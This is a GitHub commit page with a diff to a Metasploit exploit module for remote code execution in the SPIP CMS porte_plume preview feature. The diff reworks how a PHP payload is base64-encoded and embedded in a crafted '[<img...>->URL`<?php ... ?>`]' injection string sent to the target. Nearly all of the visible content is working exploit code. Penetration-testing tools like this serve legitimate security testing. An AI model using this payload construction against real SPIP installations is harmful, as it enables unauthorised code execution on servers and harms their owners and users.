Skip to content

Commit fdbf7dd

Browse files
Chocapikkjvoisin
andauthored
Update modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb
Co-authored-by: Julien Voisin <[email protected]>
1 parent 334a9ba commit fdbf7dd

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -104,13 +104,14 @@ def php_exec_cmd(encoded_payload)
104104
$c = base64_decode("#{encoded_clean_payload}");
105105
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
106106
END_OF_PHP_CODE
107-
return framework.encoders.create('php/base64').encode(shell)
107+
return shell
108108
end
109109

110110
def exploit
111111
print_status('Preparing to send exploit payload to the target...')
112-
compacted_payload = target['Arch'] == ARCH_PHP ? framework.encoders.create('php/base64').encode(payload.encoded) : php_exec_cmd(payload.encoded)
113-
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{compacted_payload} ?>`]"
112+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
113+
b64_payload = framework.encoders.create('php/base64').encode(phped_payload)
114+
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{b64_payload} ?>`]"
114115

115116
Rex.sleep(0.5)
116117

0 commit comments

Comments
 (0)